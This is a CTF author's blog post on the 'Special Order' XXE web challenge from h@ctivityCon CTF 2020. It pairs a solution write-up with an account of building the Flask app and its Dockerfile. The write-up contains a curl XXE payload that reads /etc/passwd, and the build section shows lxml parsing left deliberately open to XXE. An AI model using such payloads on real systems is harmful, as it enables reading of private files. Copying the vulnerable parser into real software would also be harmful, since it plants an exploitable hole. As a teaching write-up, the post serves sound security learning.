Blog

thoughts on making CTFs Written By pop_eax

Special Order h@ctivityCon CTF 2020

making a big CTF challenge was always on my todo list, yes I made a couple of CTF challenges before but none of them actually made it to such a big event.

challenge writeup

accessing the challenge url we get redirected to /login

login

we see there’s an option to register so we register a user, then login

blog

creating a post

post-1 post-2

also we have the ability to customize how our posts look
interesting

customize-1
customize-2

looks ugly ngl

from here we can observe that our customization input is getting to the css file

css

looking back at the request for customizing the post’s look

request

changing the content-type header we see that the app accepts xml

curl

so let’s send an xxe payload

curl 'http://ip/customize' \
      -H 'Content-Type: application/xml' \
      -H 'Cookie: session=sessionCookie' \
      --data-binary '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [  <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root><color>&xxe;</color><size>20px</size></root>'

passwd

now just read /flag.txt and done :)

building the challenge

I took some time to imagine how the challenge should be. when I thought about coding it, I saw it as a huge problem and I got frustrated and thought I can’t make it on time or I can’t even do it

so I seperated it into simple problems like this:

and this was day 1

I started with making a simple flask app then I added a login template to it then I had to learn about SQLAlchemy what I did in here is that I didn’t just follow a SQLAlchemy tutorial instead I read some of the docs and then I read stuff off github and stackoverflow I had a little bit of SQLAlchemy experince before, but it needed some refresh I am not sure if this is the most “efficient” learning way but I like it and it works better for me.

so I ended up with this db model

class User(db.Model):
    __tablename__ = "users"

    uuid = db.Column(db.Integer, primary_key=True)
    username = db.Column(Text, unique=True)
    password = db.Column(Text)

    def __repr__(self):
        return "<uuid %r>" % self.username

login code

user = db.session.query(users_map).filter(or_(users_map.username == username)).first()
    if  user and check_password_hash(user.password, password):
        #do stuff

signup code

password_hash = generate_password_hash(password)
users_table = Table('users', metadata, autoload=True)

    if db.session.query(users_map).filter(or_(users_map.username == username)).first():
        return "<h1> duplicate username :(</h1>"
    engine.execute(users_table.insert(), username=username, password=password_hash)

create signin/signup functionality DONE

now making a blog was simple I just googled for blog templates and found this one https://github.com/StartBootstrap/startbootstrap-clean-blog then I just had to serve static files and add templates and endpoints

create a blog also done

day 2 ended in here

adding posts was easy

db model

class Post(db.Model):
    __tablename__ = "posts"

    uuid = db.Column(db.Integer, primary_key=True)
    author = db.Column(Text)
    title = db.Column(db.String(256), index=True)
    body = db.Column(Text)

    def __repr__(self):
        return "<uuid %r>" % self.author

backend code

engine.execute(posts_table.insert(), author=author, title=title, body=post_body)

then I just made a query to list all the user made posts and rendered the result in /

add the ability to share posts DONE

now for making the post’s look customizable I just created a table called user_settings and made the css file for the post dynamic

the db side was pretty much the same as above with some minor tweaks

but making the css dynamic errored a lot because {} gets parsed the jinja2 the template engine for flask, so I had to figure out a way to make it work after reading stuff online, I ended up with this

backend code

def get_resource_as_string(name, charset='utf-8'):
    with app.open_resource(name) as f:
        return f.read().decode(charset)

if db.session.query(settings_map).filter_by(username=session['username']).first():
            post_size = db.session.query(settings_map).filter_by(username=session['username']).first().size
            post_color = db.session.query(settings_map).filter_by(username=session['username']).first().color 

        return render_template("clean-blog.css", color=post_color,size=post_size,w=get_resource_as_string("static/css/clean-blog.css"))

template file

{{w}}

* {{'{'}}
    font-size: {{size}};
    color: {{color}};
    {{'}'}}

I know it’s a mess but it works

P.S: this is me from the future and guess what, I am using jekyll as backend to my blog and it errored from template file so I had to use ` ` to make it work. ironic isn’t it

but it didn’t work for some reason, the browser didn’t actually pick up the css code until I opened the dev-tools which was pretty annoying.

at first I thought it’s just an issue because of the syntax or whatever after changing the css code a lot, I didn’t get any change in the thing so I examined the response and it turns out it was sending a wrong mimetype which led the browser into not executing it so I changed the code to this

return Response(render_template("clean-blog.css", color=post_color,size=post_size,w=get_resource_as_string("static/css/clean-blog.css")), mimetype="text/css")

aaand it worked :)

make the looks customizable DONE

now changing the regular Content-type: application/url-encoded form to use json wasn’t that simple maybe there’s a better way but I used javascript to submit a json request since I had jquery already fetched with template I utilized it

function submitSettings(){
            let data = `{"color" : "${$("#choosenColor").serializeArray()[0].value}", "size": "${$("#choosenSize").serializeArray()[0].value}"}`
            $.ajax({
                type: "POST",
                url: "/customize",
                data: data,
                success: function(){},
                dataType: "json",
                contentType : "application/json"
                });
            alert("settings changed successfully");
          }

html thing

<button onclick="submitSettings()" type="submit" class="btn btn-primary SubmitSettings">Submit</button>

at the end it turns out these weird html stuff had a use other than xss

adding xml support was easy but it turns out the normal xml library isn’t xxe-able by default after reading more about it, I realized lxml was xxe-able by default :)

make the /customize endpoint accept json and xml

day 3 ended in here

at the other day I just plugged lxml code with the app and here we go

from lxml import etree
parser = etree.XMLParser()
k = etree.fromstring(request.data, parser)
post_color = ""
post_size = ""
w = ""
for i in k.getchildren():
    if i.tag == "color":
        post_color = i.text
    elif i.tag == "size":
        post_size = i.text
    if db.session.query(settings_map).filter_by(username=session['username']).first():
            db.session.query(settings_map).filter_by(username=session['username']).update({"size": post_size, "color": post_color})
            db.session.commit()

parse the xml and make it xxe-able

now it’s time to ship the code and deploy nope it’s not :P

I sent a message to john that it’s done, and he told it would be better if I dockerized so they can deploy it easily now I had another task I didn’t think of

I tried to do some stuff with docker but most of them fucked up so I decided to get help from a friend who can actually use docker decently and plus he was working with the infra team on the CTF so I sent a message to MEhrn00 and he sent me a basic alpine linux DockerFile

FROM alpine:3.7

COPY ./app /app
WORKDIR /app

RUN apk add --no-cache                      \
        gcc g++ gnupg make libffi-dev       \
        openssl-dev uwsgi-python3 python3   \
        python3-dev                         \
    && pip3 install -r requirements.txt

CMD [ "uwsgi", "--socket", "0.0.0.0:7100",  \
               "--uid", "uwsgi",            \
               "--plugins", "python3",      \
               "--protocol", "http",        \
               "--wsgi", "main:app" ]

EXPOSE 7100

and it didn’t work, because lxml installation was erroring for no reason

weird error I don’t understand

 gcc -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Os -fomit-frame-pointer -g -Os -fomit-frame-pointer -g -Os -fomit-frame-pointer -g -DTHREAD_STACK_SIZE=0x100000 -fPIC -DCYTHON_CLINE_IN_TRACEBACK=0 -Isrc -Isrc/lxml/includes -I/usr/include/python3.6m -c src/lxml/etree.c -o build/temp.linux-x86_64-3.6/src/lxml/etree.o -w
    In file included from src/lxml/etree.c:692:0:
    src/lxml/includes/etree_defs.h:14:31: fatal error: libxml/xmlversion.h: No such file or directory
     #include "libxml/xmlversion.h"
                                   ^
    compilation terminated.
    Compile failed: command 'gcc' failed with exit status 1
    creating tmp
    cc -I/usr/include/libxml2 -c /tmp/xmlXPathInitf75pvacz.c -o tmp/xmlXPathInitf75pvacz.o
    /tmp/xmlXPathInitf75pvacz.c:1:26: fatal error: libxml/xpath.h: No such file or directory
     #include "libxml/xpath.h"
                              ^
    compilation terminated.
    *********************************************************************************
    Could not find function xmlCheckVersion in library libxml2. Is libxml2 installed?
    *********************************************************************************
    error: command 'gcc' failed with exit status 1
    

I just googled for some stuff online to fix it and I ended up with this

FROM alpine:3.7

COPY ./app /app
WORKDIR /app

RUN apk add --update --no-cache                      \
        gcc g++ gnupg make libffi-dev       \
        openssl-dev uwsgi-python3 python3   \
        python3-dev                         \
        libxslt-dev                         \
    && pip3 install -r requirements.txt

CMD [ "uwsgi", "--socket", "0.0.0.0:7100",  \
               "--uid", "uwsgi",            \
               "--plugins", "python3",      \
               "--protocol", "http",        \
               "--wsgi", "main:app" ]

EXPOSE 7100

the app worked but … every time I tried to insert into the db I got db only readable it was because I started the container as root but ran the code as uwsgi I had the option to start the container as the uwsgi users but I didn’t like this way and chmod 777 file.db didn’t work too I found a way about putting the db file into a directory and chown-ing the dir to make it work

FROM alpine:3.7

COPY ./app /app
WORKDIR /app

RUN apk add --update --no-cache                      \
        gcc g++ gnupg make libffi-dev       \
        openssl-dev uwsgi-python3 python3   \
        python3-dev                         \
        libxslt-dev                         \
    && pip3 install -r requirements.txt

RUN chmod a+rw db_file db_file/*

CMD [ "uwsgi", "--socket", "0.0.0.0:5000",  \
               "--uid", "uwsgi",            \
               "--plugins", "python3",      \
               "--protocol", "http",        \
               "--wsgi", "wsgi:app",         \
                "--master"]

EXPOSE 5000

finally it worked and I no longer had to worry about any deadlines.

day 4 ended in here

I worked 4 hours a day so it took me 16 hours to finish it, I could have finished it earlier if I stopped procrastinating anyways it’s done

source code available at github repo

challenge stats

ctf

explaining stuff about the idea of the challenge

isn’t this challenge considered pure guessing and nothing was learned in here ?

the content-type thing is popular and it happened in a couple of real life applications, because you never know what the devs think of the app may have used xml before or it was in there for just in case ¯\_(ツ)_/¯ also it was used in multiple CTFs before which got me amazed how really few people solved it like:

wait but what about the math thing in the challenge description?

it is a second order equation, and the bug is a second order xxe :P